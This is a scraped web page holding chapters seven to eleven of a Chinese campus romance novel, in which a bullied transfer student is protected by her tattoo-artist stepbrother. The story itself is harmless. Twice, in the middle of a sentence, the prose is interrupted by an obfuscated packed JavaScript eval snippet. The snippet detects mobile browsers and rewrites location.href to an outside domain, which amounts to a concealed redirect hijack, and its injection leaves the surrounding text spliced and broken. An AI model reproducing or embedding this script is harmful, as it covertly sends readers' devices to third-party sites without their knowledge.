她同桌名叫谢安琪,身材微胖,脸圆圆的,还有点小雀斑,头发天生自然卷,性格比她还要安静,昨天一天下来两人没说超过十句话。 被林杳这么一问,她连忙紧张地挪开视线,过了两秒,才小声地,有些不好意思又羡慕道:“感觉你好漂亮啊,连我们学校这么丑的校服被你穿着都好看了起来。不像我,不仅卷毛,脸上还都是斑点。” 说到最后这句她声音更小了,还有些自卑地低下了头。 林杳看着她,想了想道:“如果你不喜欢卷发,等毕业之后可以去拉直想。不过你现在卷卷的头发像洋娃娃一样,也好看又可爱啊。” 谢安琪愣了愣,她从小因为一头自然卷被取外号,叫金毛狮王,第一次有人用洋娃娃形容她。 她眼睛一亮,缓缓抬起头,又听她真诚道:“等高中毕业了,你脸上的雀斑可以用化妆品盖住,也可以做激光直接祛除,就是个很小的手术,我以前认识的一个姐姐就做了,效果挺好的。” “是哦。”谢安琪情绪振奋起来,她突然意识到这些一直困扰着她的事,其实都是可以改变的。 两个小姑娘的话匣子打开,一直聊到早自习开始,等铃声响了,林杳才匆忙把一直拿在手里的作业交到小组长那里。 彼此的关系也因此拉近许多,中午她们结伴去的校门口吃饭,林杳算是在新的学校交到了第一个朋友,一整天心情都很愉悦。 晚自习前,她去上厕所,隔着门听到外边的聊天声。 “你发现没,薛佳莹今天脸上不止抹了bb霜,还把眼线和睫毛都画了。” “这是有危机感了吧,那个转学生长得那么好看,还和她一个班,她肯定是怕自己校花的地位不保。” “如果咱们学校贴吧再评校花的话,我肯定投票给那个转学生,我中午吃饭就坐她对面,脸好小,皮肤也好白,关键是完全素颜的好不好!” 林杳听到后面意识到她们说的“转学生”是自己,哪怕是夸她的,但这种拿她和别人比较的话也很令她很尴尬。 她等了会儿,直到那几个女生的声音远去,她才推门出去。 走到洗手池前,刚拧开水龙头,从她后边走来的薛佳莹将她肩膀一撞,抢先把手伸到哗啦啦的水流下。 薛佳莹洗完用力甩了几下手,水珠溅到了林杳的校服和脸上,她高傲地抬着下巴,横了林杳一眼,气哼哼地走了。 林杳知道她是把气撒在她身上,抬手擦了擦脸上的水珠,抿着唇洗了手走出厕所。 今晚是英语晚自习,考了第二单元测试的报纸,八点半的铃声打响,考试也结束。 “好了,最后一排的同学把答题卡从后往前传。”英语老师站在讲台,又对课代表薛佳莹道:“你找几个人帮忙,一会儿去办公室帮我把你们班和二班考试的选择题改出来算好分,剩下的完成句子和作文我明早再来改。” 林杳正收拾着书包,就听后边的薛佳莹向老师提议道:“这次让宋雨婷和林杳帮着一起改吧。” 英语老师觉得林杳成绩好,看着又是细心乖巧的,没多想答应了。 薛佳莹走到林杳桌前,将一沓答题卡递给她:“我和雨婷今天做值日,你先去办公室改吧,我和她等会儿过去。” 林杳不想和她一起,但刚才英语老师都发话了,她只能接过,背着书包先去了二楼拐角的办公室。 上晚自习的老师回来放了书本后陆续离开,很快办公室就剩她一个人了,两个班的答题卡加起来120份,改了之后还要算分,半个小时林杳才算完二十份。 而说着等会儿来的薛佳莹和宋雨婷,一直没露面。 -

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830196|158933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 九点多钟,闻野从他那家小纹身店出来,他晚自习基本不上,从六点钟到现在一直给顾客背上扎图,忙得没空吃饭。 他把卷闸门往下一拉,走到三中附近一家炸串的店,早过了放学的点,没什么人,他报了常吃的几样后就靠边站着,摸出手机玩。 浓郁到有点刺鼻的香水味袭来,闻野眉心微蹙,紧接着听见一道语调往上翘着,刻意显得有几分嗲的声音。 “好巧啊闻野,难得在学校外碰上,我能加你个q.q,我想在脚踝纹哥图案,你能帮我设计一下吗?” 薛佳莹笑容娇俏,被睫毛膏刷得浓密卷桥的长睫冲着闻野眨了眨。 两人其实并不在一个年级,闻野高三,她是高二的,然而三中几乎没人不认识闻野。 纯是帅出名的,那张脸冷硬中又带着几分痞气,篮球和打架都厉害,不止学校里,附近那些职高的都没谁敢惹他,而且还会纹身。 性格是过分冷淡了些,但比起学校那群咋呼的毛头小子,这样的反而更勾女生喜欢。 薛佳莹自认长得挺好看的,今天脸上又是画了精致的妆,底气便足了些,然而闻野一点面没给她。 少年支起眼皮,迎着她热切又期待的目光,照常一副冷淡神色:“不给没成年的高中纹身。” 说完他又低下看手机,没有要在搭理她的意思。 薛佳莹脸上的笑意凝固,神色难看地坐回位置。 一同来的宋雨婷全程看完,虽是塑料闺蜜,但面子上的功夫都是做足的。她小声安慰道:“佳莹你别难过,他性格一直这样,又拽又冷,对谁都爱答不理的。” 薛佳莹当然知道,只是觉得凭借她的外貌,闻野应该对她另眼相看。 她越想越丢脸,吃的也不要了,拎起书包就要走,谢姗姗只得跟上。 外面突然刮起风,乌云靠拢,层层叠叠地聚集,遮住大半月亮,天色一下显得更黑了。 “看样子要下雨,我们得快点坐车回去。”宋雨婷掀起帘子往外走,想起什么,坏笑着道:“林杳还在办公室改卷子呢,那么多就她一个人改,没一个多小时改不完,她还没带伞呢,今晚肯定要淋成落汤鸡了。” 薛佳莹闻言,绷紧的脸上终于露出一丝快意的笑。 “给。”老板把一袋子炸串递给闻野,从收银柜里找出几张零钱,再一抬头,只看得见一个跑远的背影。 办公室里,林杳正算着答题卡的分数,外边忽然响起一声雷,豆大的雨点劈里啪啦砸下,瞬间倾盆。 很猝不及防的一场雨,她没带伞,只能边犯愁边加快速度继续改着。 门敞开着,带着凉意的风吹进来,林杳有些冷,手臂起了一层鸡皮疙瘩,她用掌心搓了搓,试图暖和一些。 噼啪的雨滴声中突然多出一道脚步声。 林杳抬起头,从办公室的窗户往外看,雨幕之下的走廊光线昏沉不清,影影绰绰看见个高挑的,男的身影朝着办公室的门一步步逼近。 她本能紧张起来,很有警惕感地从书包翻出手机捏着。 绷紧的神经在对方踏进门的一刻倏地松下来,白炽灯下的人影清晰起来。 少年眉眼在冷白的光中越发凛冽深刻,身上浸染着水汽,有雨珠顺着他锋利的喉结往下滚落。 是闻野。 林杳心里的害怕消失,又好奇起来:“你怎么来了呀?” “听人说你在办公室改卷子,还没伞。”闻野往她坐的那张办公桌走去,“万一你今晚淋雨回去感冒了… 他边说着边走至她,对上少女仰起的不解眸子,理所当然地反问:“再把就住你隔壁的我又传染了怎么办?” 8. 第八章 这话乍一听好像有些杞人忧天,但林杳再仔细想想,也觉出几分道理。 他们俩房间就隔着道墙,万一她真的淋雨感冒了,再万一他们同时出门,她又一个不小心朝他打个喷嚏,那病毒可能真的会传染给他。 林杳自己在心里把这番逻辑顺下来。 尽管闻野是因为怕她病了传染他才来给她送伞的,但她还是很心存感激。 外边这雨越下越大,看着就一时半会儿停不下来,要是他不来,她都不知道自己等下该怎么回去。 “谢谢,麻烦你过来一趟了。”她真心道。 只是看着他手里,只有一柄黑色的大伞,那就没法说出让他给她留一把先走了。 她有些不好意思地指了指桌上挺厚一沓还没算分的答题卡:“我还要些时间才能弄完。” “你继续弄呗。”少年嗓音松懒,无所谓道:“反正雨这么大,就在这儿避会儿呗。” 说罢他走到门口,把还在滴水的雨伞靠边竖着,又大剌剌地往沙发上一坐,拎过来的那袋子炸串也是直接放前面的茶几上。 一点也不拘束,就跟在自己家似的,本来这地儿他高二也常来。 他先吃了一串,拿手机出来给之前预约了十点来他店里纹身的顾客说雨太大了,改个时间。 又拿出一串,边点开手机游戏,窗外劈里啪啦的雨声和办公室里谁也没再出声,安静无比的氛围形成对比。 却有很突然的,一声咕嘟声打破了这份静谧。 林杳脸颊烧起来。 她本来是想晚自习结束后买些吃的,结果一直留在办公室改卷子,偏偏他正吃着的炸串那么香,味道还不断传到她这里。 她加快了批改的速度,并祈祷闻野千万不要听到,或者听到了也没在意。 肚子饿得叫什么的,太丢人了。 然而天就是不能遂她愿,刚在心底默念完,闻野就几大步走了过来。 少年人高腿长站她跟前,存在感强得没法忽视,一点儿没顾及什么女孩儿的面子,直截了当地问:“肚子饿了?” 林杳:“……” 她耳根也红起来,头更低了低,小声“嗯”着承认了。 下一秒,她视线中就出现一只冷白而骨节清晰的手,拎着那袋子炸串,头顶响起他的声音:“我饱了,你拿去吃吧。” “可卷子还没改完。”她迟疑着道,再一耽搁,时间就更晚了。 闻野看了眼她手下那一沓答题卡:“不就是算个分的事,我来算,你去吃。” 见她没动,他眉骨扬了扬:“还是你不放心,觉得我成绩烂,连百位数的加减都算不清楚?” 林杳连忙摇头:“我没这么想。” 一分钟后,她坐在闻野从后边语文老师的办公桌拖过来的椅子上,手里拿着一串掌中宝,腮帮子鼓鼓地嚼着,一边看着他批改算分。 他低着头,手里握着她刚用过的那只红笔,吊顶灯冷白光线下,后脖颈显出一排明显的棘突,肩线平直宽阔。 只扫了一眼答案,就直接去改答题卡,脸上的懒慢褪去,有几分少见的正儿八经。 闻野刷刷两下,在答题卡右边最上方写下个52,然后拎起那张轻飘飘的纸,为了证明什么似的在她眼前晃了两下。 “怎样,没给你算错吧?” 少年语调微扬,抬眸朝她看来,眼皮被压出一道窄而深的褶皱。 林杳嘴角翘了翘,语气真心实意道:“没有,还比我算得还快很多。” 闻野看着她亮晶晶的眼眸,视线收回,继续改那些答题卡。 林杳吃完了炸串,拿纸巾擦了擦嘴,走到外边走廊把塑料袋和木签扔进垃圾桶,回来后对他感激道:“剩下的我来改吧。” 闻野头也没抬:“没多少了,懒得挪位置,我一个人改完算了。” 林杳反倒歇了下来,他改的速度确实快,扫一眼各题分数直接就算出总分,不像她,还得停顿几秒做个心算。 二十多分钟后,两个班的答题卡都改完了,他们走出办公室,下楼后闻野撑开伞,林杳脚步朝着他挪近两步,走到黑色的伞面之下。 她头回和男生一同撑伞,不能像和女生一起时那样挽着手,她努力和他保持着一个尽可能靠近,又不会和他有肢体接触的距离。 雨依然很大,路上几乎看不见行人,天色黑蒙蒙的,脚边不断溅起密密的水珠。走了一小段路,林杳身上没淋到一点雨,连靠伞外侧的肩膀都是干的。 她抬起头,看到闻野把大半伞面都偏向了她这边。 “你不用这么照顾我,这样你自己都淋湿了。”她挺不好意思道。 “不是在照顾你,我完全是为我自己考虑。”闻野淡声道。 林杳歪了歪脑袋,十分不解地看向他。 闻野停住脚步,伞下的小姑娘两只胳膊抱在身前,头发被刮着的风吹乱,冷得肩膀微微瑟缩着。 他皱了下眉,有点后悔今天没穿件外套,随即平直的声线道:“我身体素质比你要强,我就算淋雨也不会怎么样,而你很大可能会因此感冒,要是你感冒了,还不是会传染给我。” 他这么一说,林杳便无法反驳了。 她的确身体素质不好,小时候感冒发烧是家常便饭,起初也是为了增强体质才去学的跳舞。 然而林杳也不想他一直淋雨,只能身体和他更贴近一些,但这样距离感就不好把握了,两人的胳膊偶尔会碰到一起。 每每这时,她都迅速缩回去,免得他介意。 每次短暂的一两秒,少女肌肤微凉又柔软的肌肤贴他手臂上,他喉结滑了滑,握着伞柄的力道紧了又紧。 赵美莺见到一起回家的两人,脸上露出惊讶之色,不过也没多问什么,转身又进了厨房给有点咳嗽的闻磊煮梨子羹。 闻野走到阳台,把湿漉漉的伞撑开晾着 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他重新拿起那杯板蓝根,仰头喝尽,之前中断的那个记忆片段又重新续上。 还是那个呵气能结冰的冬天,他倚靠着电线杆缓着断了肋骨的疼,她排在奶茶店的队伍后,同伴扯了扯她袖子,说他在盯着她看,还说他衣服有血,很恐怖,让她赶快走。 她转头朝他看了一眼,然后走进奶茶店,和店员说了几句就和那几个同伴离开了。 他继续靠着那根电线杆休息,扯起唇角嗤地笑了声。 十几分钟后,一个穿着绿色工作服的店员小跑着出来,把一袋奶茶递给他。 “刚那个漂亮小姑娘让我做好了之后给你的。” 他并不稀罕她的施舍,却还是鬼使神差地接了过来,掌心先感受到温暖,拿吸管戳开,过于甜的红豆味溢满口腔,整个肺腑都像是热乎起来。 被生平罕见的好奇心,或者还有什么别的说不清的情绪驱使着,他没第一时间去医院拍片子做个检查,而是握着那杯奶茶走去了那家舞蹈机构。 门卫的保安看他一身狼狈还有伤,想拦,又怕惹事端,最后睁一只眼闭一只眼放他进去了。 一楼就是舞蹈室,有一面墙那么大的落地窗,他远远地,很不起眼地站在棵叶子落尽的梧桐树后边。 里面一群少女还在嬉笑说话,直到老师走进去,大家立刻站成几排,双手规矩地垂在身侧。 没一会儿开始跳舞。 她站在最中间的位置,脱去羽绒服的腰肢纤细婀娜,身体无比轻盈柔韧,水袖甩得像要飞起来,真如敦煌飞天的仙子似的。 顶好的视力让他隔着这么老远的距离,也看见她做完最后一个动作后,漂亮极了的小脸似春水漾开一个浅浅又明艳的笑容。 那比单纯的美丽要命。 是给人美好,乃至向往的感觉,让人滋生出不配,又不甘心的渴望。 9. 第九章 昨晚那一场暴雨总算带走了连着好些天的暑气,今天早上林杳起床,明显就感觉气温是降了下来。 她穿上秋季长袖的校服外套,走出房门时再碰上闻野,她和他打招呼的笑容自然了许多。 两人一前一后地走在狭窄的小巷里,她听见前面的人突然出声道:“我一个朋友他姨婆想养狗。” 她脚步一顿,闻野脚步也停下,转头看向她:“她一个人住,想养个宠物做伴,今天应该就会去那个宠物店把它领养回去。” 林杳眼睛一瞬亮起来,笑意从眼角蔓延到眉梢:“那真是太好了。” 解决了一桩担忧的心事,林杳今天一上午心情都很好。 英语课在上午第三节,英语老师抱着全部改完的答题卡走进教室,脸上挂着藏不住的愉悦笑容:“这次大家都考得不错,班上有位同学成绩尤为突出,一道题没错,连作文也一分没扣。” 所有人倒吸一口凉气,毕竟连班上英语最好的薛佳莹也很少考到120,大家的目光全聚焦到新转来的林杳身上。 很快英语老师就印证了大家的猜测,语气满意地念到:“林杳,150分。” 众人:“!” 本来他们都知道她是从市里最好的私立学校转过来,成绩肯定很好,但也没想到能好成这样啊! 林杳过去领了卷子后坐回座位,同桌谢安琪立刻来瞻仰她的答题卡,最上方清清楚楚的150分,作文先不看内容,光那字就漂亮又整齐,像是印刷出来的。 “天啊,杳杳你是什么逆天学霸!”谢安琪一脸敬佩,“你在之前的学校是不是总考年级第一名啊?” “没有。”林杳忙摇头否认,“我就英语比较好,理综就一般般。” 英语老师继续报着第二名的分数:“薛佳莹,122分。” 这对于薛佳莹来说算考得不错了,要搁从前绝对能收获到一众同学羡慕的目光,然而有一个满分在前,这个122就有点不太够看了。 大家反应平平,薛佳莹走去讲台领自己的答题卡时也不再像从前那样得意洋洋。 她嘴角向下抿着,从林杳座位旁经过又挺直身板,憋着股不服气的劲。 一节课在评讲试卷中过去,下课后英语老师道:“大家可以去看看林杳的作文,她的语法词汇都用得特别地道。” 等老师一走,前后左右的同学都围过来找林杳借答题卡,还有人向她请教英语是怎么学的,能考得这么好。 一时间她桌前叽叽喳喳的,十分热闹,而以往,这些人都是冲着薛佳莹去的。 薛佳莹咬了咬唇,从座位站起来,故意大声对全班道:“昨晚我和雨婷有事先走了,所有卷子都是林杳一个人改完的,你们要是有分算错了的就别来找我们啊。” 宋雨婷十分有默契,阴阳怪气地“哟”了声:“那她自己改自己的卷子啊,谁知道这个满分是不是掺了水分的。” “是哦。”薛佳莹像是被点醒了:“以前我和雨婷俩改卷子,为了公正诚信,都是互换着先改对方的。” 两人一唱一和,还真有一部分同学信了,毕竟考满分啊,这在他们看来不亚于比登山还难。 因此那些看向林杳的视线也就多了些怀疑和不屑。 谢安琪很气这番空口造谣,但她是班上的小透明,说了没人会听,也根本吵不过薛佳莹那群小姐妹。 “李博文,答题卡你能暂时还我一下吗?”林杳向站她座位前,手里拿着她答题卡的一个男生道。 “啊。”李博文没想到林杳已经记得自己名字了,有点受宠若惊,看着少女漂亮的小脸和正望来的眸子,脸不争气地先红起来。 “给、给你。”他连忙把答题卡递给她。 林杳拿着径直走到宋雨婷桌前,教室里大家的视线也纷纷追随过去。 “考过试的人应该都知道,就算是铅笔涂的,只要擦过都不可能完全不留痕迹。你说我改了答案,那你能在我这张答题卡上面找到修改的痕迹吗?” 林杳平静地说完,将手里那张答题卡放到她桌上。 宋雨婷低头去看,还有几个同学也八卦地围了过来,确实如她所说,这张答题卡干干净净的,无论选择题还是作文,都没有一点涂抹修改过的痕迹。 “而且我也根本不需要弄虚作假,你可以看着,之后的每一次英语考试我不会低于147分。” 因为从小学舞的关系,林杳站着的仪态特别好,哪怕外表偏柔弱,也有种自信又从容的气场。 她又看向薛佳莹:“你是英语课代表,改卷子本来是你的任务,你和宋雨婷昨晚说好做完卫生来办公室,结果一声不吭就走了,这么没有诚信,你们还好意思质疑我吗?” 薛佳莹脸色一阵青一阵白,宋雨婷表情同样变得很难看。 林杳见她们不再说话,伸手又拿起那张答题卡,走回自己座位,给了还愣着的李博文:“给你。” 谢安琪忍不住悄悄冲她竖大拇指:“杳杳你刚刚那发言太霸气了!” 林杳垂眸,她不想把关系一下弄僵,但更不能容忍自己被无端污蔑成作弊。 薛佳莹再在教室多待一秒都觉得屈辱,她快步从教室后门走出去,宋雨婷也忙亦步亦趋地跟上。 “这女的太过分了!”走到外边走廊,宋雨婷气愤道。 她对林杳的讨厌一半是因为刚才被打脸,另一半则是出于嫉妒。 她眼珠子转了转,像从前一样对薛佳莹撺掇道:“佳莹你不是和高三7班的体委关系不错嘛,你让他替你教训教训她呗。” 薛佳莹一想,觉得这主意不错,拿手机点进q.q,和一直想追她的崔志高发过去几条消息。 崔志高是三中一霸,人长得壮硕,家里是搞建材批发的,还挺有钱,他出手也大方,身边常跟着一众帮忙跑腿写作业的小弟。 从高一起崔志高就在追她,薛佳莹自诩成绩好又漂亮,不是很看得上长得一般,还蠢得留级了的崔志高。 但她也没把话说死,一直钓着他,追求者越多越是她魅力的体现,而且在学校里有什么事找他帮忙还挺方便的。 很快就收到了回复。 崔志高:【放心,这事包我身上了,保证把那女的给你收拾得服服帖帖】 上课铃声打响,薛佳莹捏着手机,脸上恢复成笑吟吟的模样走进教室,她已经迫不及待想快点到中午了。 到时候就能看到林杳被泼一身油污的惨样了,看她还怎么高傲得起来。 上午最后一节课上 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不过几秒,崔志高就改变策略,刚才的凶相收了起来,脸上挂满笑:“认识一下呗,我高三的,叫高志高,志存高远的那个志高。你是新转来的吧,以后学校里我罩着你,谁要是欺负你了你只管找我。” “不用了,我不需要。”林杳只想走开,结果他又横过一只脚拦住她的去路。 崔志高被拂了面子,有些不悦,拽里拽气道:“你别不识好歹,你去打听一下,这学校扛把子的是谁。” “要么现在识相点,到我那桌陪我去吃个饭,不然你以后在三中的日子就要不好过了。”他撂下狠话威胁,伸手就要去拽林杳的手,右肩膀忽地一疼。 一只打火机砸到他身上,又啪的一声清脆落地。 崔志高怒火中烧,铁青着脸转回头,打算好好揍一顿这不长眼的傻逼玩意儿,一看清走过来的人是谁,瞬间就像哑火的炮仗。 闻野嘴角挑起个讥讽的冷笑,黑眸冷冰冰地看着他:“你打算让谁的日子不好过?” 林杳见到闻野,心中突然升起一股安全感,她跑到了他身边站着。 崔志高这几年在三中横行霸道惯了,连老师和教导主任都不放在眼里,要说整个学校有谁他不敢惹,那就只有闻野了。 不过少年性格冷漠,不爱主动惹是生非,也从来不正义感爆棚,爱瞎几把管闲事,今天这他妈的闹得是闹一出啊? 崔志高百思不得其解,看见刚那少女跑到闻野身旁,两人明显认识的,他一下子又福至心灵,懂了。 他弯腰捡起地上的打火机,客气地给闻野递去:“是我之前没弄清楚,原来这新来的转校生是野哥你的马子啊,还真是不好意……” 最后那个字还在喉咙里没说出口,递过去的手腕忽然被捏住。 少年懒恹的眉眼染着戾色,修长有力的指节快要把他骨头捏断了,崔志高疼得要死,死命憋住了才没叫出声,又不懂自己怎么得罪这尊大佛了。 终于,他手腕被甩开,耳边响起闻野冷沉的嗓音。 “嘴巴放尊重点。” “她是老子妹妹。” 10. 第十章 崔志鹏灰头土脸地走了,闻野偏头,看了眼跑他身边站着的林杳。 小姑娘看着还好,没被太吓着。 他也抬脚,长腿几迈走出这家小店,林杳没来得及和他说上一句话,只能端着手里那碗盖浇饭走到先看见的那个空位。 她低头吃饭时,仍能感受到店里很多道朝她投来的视线,伴随着刻意压低的交谈声。 林杳没放在心上,刚动静闹那么大,想不被注意都难,她细嚼慢咽地吃完,又去旁边的文具店挑了几支笔和本子才走回学校。 快到午自习了,她走到教室门口,1班这个年级里最好的班级也依然闹哄哄的,笑闹聊天声不断。 她听到她和闻野的名字被一同提及,等踏进教室,像是一下噤声,都安静了下来。 学校里的小道消息传得比火箭都快,大家都已经听说了刚才校外的那个小插曲,最劲爆的当然还是闻野那句,老子妹妹。 别说之前所有人都没听说过闻野还有个妹妹了,更令人震惊八百年的是这人竟然还是林杳! 一个是学校谁都不敢惹的刺头,成绩烂到没边,另一个是看着就好乖,能把英语考到满分的优等生,这要是兄妹,是基因突变了吧! 薛佳莹看着林杳依然干净整洁的校服,又想到死乞白赖追自己那么久,结果一看见林杳就叛变的崔志鹏,她脸色就没法好看。 然而听说林杳是闻野妹妹,她心里再窝火也只能憋着了。 林杳迎着一众同学好奇又震惊的注目礼走回座位,连平时只埋头学习的谢安琪此时都满眼写着求知欲地看着她。 憋了又憋,谢安琪还是没憋住,凑她耳边小声打探:“杳杳,闻野真是你哥啊?” “……算是吧,就是我们没血缘关系。” “噢。”谢珊安琪恍然大悟,“怪不得你和他一点也不像呢。” 她有些犹豫地看着林杳:“杳杳,能不能麻烦你帮我个忙呀。” “你说啊。” 谢安琪耳根悄悄泛红,有点儿不好意思地声音压得更小:“我想请你帮我和闻野说一声谢谢。” 林杳不解地眨了眨眼。 谢安琪说她之前有次放学后去网吧下载歌,结果碰到碰到附近几个职高的,对方找她要钱,又嫌她的钱少,恶狠狠地威胁她明天多带点零花钱,还说要去她学校拦她。 闻野就在这时懒洋洋地走了过来。 少年眉眼锋锐,一身比那几个职高的还要嚣张难驯的气质,黑眸漫不经心地扫过去:“我学校的人,你们也敢欺负。” 那几个职高的就真把抢她的钱双手还了回来。 这事其实发生在一年多前,那时谢安琪被吓傻了,忘了说谢谢,之后就更没机会了,在学校她没胆子去主动找闻野。 并不是什么难事,林杳答应下来:“好,我一定转告给他。” 一点钟,班主任来监督午休,教室里这才慢慢安静下来。原来在林杳待的附中,午休就相当于是午自习,照样是学习写作业的时间。 这边灯都关了,连窗帘也拉上了,林杳只能适应着也趴下睡觉。她脑袋枕在胳膊上,没很快睡着,反而想到了闻野。 初见时少年在她心底留下的,那种阴沉又凶的印象本就越来越像是摇摇欲坠的积木,谢安琪的话就如同轻轻推了一把,哗啦一下,彻底都倒了。 她开始觉得,他是个挺好的,骨子里还很有正义感的人。 让林杳没想到的是,同学们对她和闻野是兄妹这件事的关注度还挺高,下午不管她是去上厕所,还是陪谢安琪去小卖部,总能听到有人说着。 晚上她上完晚自习回家,先从书包里拿出电量低到快自动关机的手机,插上充电线,可没反应,又反复试了几次,她也不知道是手机还是数据线哪个坏了。 每天早上都得用手机的闹钟,她揣着钱和钥匙出了门,家附近应该有那种手机维修的小店。 她一路走一路四处张望,终于看到一个亮着的霓虹灯牌,写着:手机回收维修。 林杳走过去,那师傅检查过后说只是数据线的问题,她于是花十块钱重新买了根数据线。 正要离开,她视线不经意一偏,看到旁边小店门口站着的两道人影,脚步一下就顿住。 男人看着三十多岁,寸头,长得膀大腰圆的,穿着件白汗衫,露出的胳膊一边龙一边虎的纹身,从钱包里数出五张红票子递给一旁的少年。 “下次轻点行不,你这次弄得我疼死了。”男人抱怨着道。 “没法控制,疼就忍着。”少年不以为意地说,拿过那五百揣进裤兜。 这时一个中年妇女路过,把这对话听了,边摇头边感慨:“真是世风日下,这种鸭子店竟然光明正大开到大街上了。” 又往闻野身上瞅了好几眼,目露嫌弃:“小伙子年纪轻轻的,干点什么不好呢做这行。” 闻野嗤笑了声,懒得解释什么,转身就要进店,猝不及防看见站旁边的少女。 他顿脚步一顿,径直就走到她身前,小姑娘乌黑澄亮的大眼睛只透着好奇,显然是没听懂那女人话里的内涵。 “怎么来这边了?”他问。 “我手机的数据线坏了,出来买。” 她乖乖回答,说着还把手里新买的那根拿起来给他看,又眨了眨眼,好奇问他:“你在这里干嘛呀?” “你进来看看呗。” 林杳跟在他身后进了店。 店面不是很大,单调的黑白色为主,天花板悬着个极简的吊灯,靠墙竖着个木架,一排排整齐摆着许多瓶颜料和她不懂是干什么的工具,中间放着一个造型奇特的椅子。 见她疑惑地盯着那椅子瞧,闻野出声解释:“这是纹身椅。” 林杳“啊”了声,杏眼睁圆了一圈,有些惊讶问:“你是在这里给人纹身吗?” “嗯。”闻野把刚用过的纹身枪收进屉子里:“赚点生活费。” 林杳对纹身的了解其实很少,但也知道很多是要自己设计图案,需要一定的画工,而且他也就比她大一岁多吧,就已经能独立地挣钱养活自己了。 “好厉害呀你。”林杳佩服道。 闻野诧异地扬了下眉,在大多数人眼里,纹身都不是什么正经工作,身上有纹身的人在外边还很容易被人用有色眼镜看待。 被认为是坏的,混社会或者叛逆没爹妈管。 小姑娘一看就是学校里最乖最听话的学生,他本来觉得她肯定会有这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830199|158933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻板印象,可她竟然说好厉害,还是那么真心诚意的语气。 他看着她亮晶晶的眼眸,掀起唇角笑了声:“走了,一起回家。” 走回去的路上,林杳想起先前谢安琪让自己帮的忙,和闻野提起那件事,也替她转告了那声谢谢。 闻野忘干净了,听完之后也只淡淡“嗯”了声,表情如常,就像那件好人好事只是当初随手做的,并不是很在意。 晚上气温更低了几度,吹来的风带上了初秋的凉意,空气里飘散着一股淡淡的桂花香。 林杳把校服外套的拉链往上拉了一点,又对他道:“好像学校里的同学都知道我们的关系了,好多都在议论我们是兄妹什么的。” 闻野脚步滞了滞,脸上的表情也出现微妙变化。他偏过头看她:“你很介意这个?” 他名声不好,她不想和他惹上关系也正常,下一秒,却听到小姑娘脱口而出的轻软嗓音:“不会啊,我只是和你说一声。” 他绷着嘴角倏地松了。 走进他们那一片横七竖八的巷子,远远地就听见麻将室稀里哗啦的码牌声,还有一桌摆在门口的路灯下,光不太亮,又额外拿出个台灯照着。 一桌四个女人打得开心,聊别人家的八卦也聊得愉快。 “赵美莺她女儿不是一出生就送给有钱人收养了吗,怎么养了十几年又突然送回来了啊?” “说不定是品行有问题,人家不想要了呗。不是有那句老话嘛,龙生龙,凤生风,老鼠的儿子会打洞,赵美莺那人品做派,她生出的女儿能好到哪去啊,说不定就有什么偷鸡摸狗的坏毛病。” 笑嘻嘻说这话的叫张秀芬,越说越没边。 她摸起一张牌,还没来得及看,身后传来少年吊儿郎当的声音:“张婶,我张叔最近挺好的吧?” 张秀芬回头见是闻野,十分震惊,她不明所以,但还是答道:“好得很啊。” “是么?”闻野挑了挑眉,故作十分惊讶又不解的样子:“我连着好几天晚上看到张叔戴个口罩和帽子回家,这么热的天,我还以为张叔是生病了呢。” 话落,麻将桌的另外三个女人脸色都变得古怪,眼神相互交换,一副吃了个大瓜的表情。 谁都知道张秀芬她老公是在厂里值班的,晚出早归,大半夜回家的,还遮遮掩掩地戴个口罩帽子,这不是偷人是什么。 张秀芬也反应过来,脸上一慌,急忙争辩:“你别瞎说,才没什么戴口罩帽子的男人进我家!” 闻野却没再理她,走到还愣愣看着的少女身旁:“走,回家。” “……噢。” 往前走出好些步,还能听见女人慌里慌张辩解的声音,林杳慢半拍地反应过来,闻野刚才好像是在给她出头。 两人走至更窄的小巷,一捧清冷的月光洒下,笼在他们身上。 “谢谢。”她轻声道,满眼认真。 “谢什么,不是喊过我一声哥么,那我能看着别人对你说三道四?” 少年单手插兜,站姿痞懒又吊儿郎当,垂下看她的瞳孔漆黑,语调似嫌弃:“这种破地方住的人大多都欺软怕硬,以后别傻不愣登地任人欺负。” 接着又道:“再有人欺负你,就告诉我。” 11. 第十一章 回到家,门一开,闻磊就握着把新买的冲锋枪从沙发上跳下去,嘟嘟嘟扫射着跑过来。 待看到玄关站着的闻野,他一呆,仿佛孙猴子见到了菩提老祖,瞬间守规矩了起起来,手上耀武扬威的那把冲锋枪也忙不迭藏到身后。 闻磊仰起脑袋,冲林杳道:“妈妈听李阿姨说商场换季打折,就和李阿姨一起过去买衣服了,她让你今晚给我洗澡。” 小孩子最会察言观色,也懂得有样学样,仗势欺人。哪怕闻磊只有七岁,也看出赵美莺在家对林杳完全没对他好,于是这话说得就颐指气使的,连最起码的姐姐都没叫一声。 林杳还没说话,站她身后的闻野先朝着闻磊走了过去。 闻磊被他强大的气场吓得连连后退,跟个小鸡仔似的瑟瑟发抖。 他明明没和这人说一句话啊?怎么就得罪这个比奥特曼里那个怪兽还恐怕可怕的人了啊! 只见“怪兽”冷着脸发话了:“不是在已经上学了么,还一点礼貌都没有,你你你的叫谁呢?” 闻磊读书不行,但脑子是活泛的,眼珠子咕噜几转,连忙对着林杳改口:“我错了,是姐姐!” 闻野:“以后再没礼貌,我把你拎起来揍。” 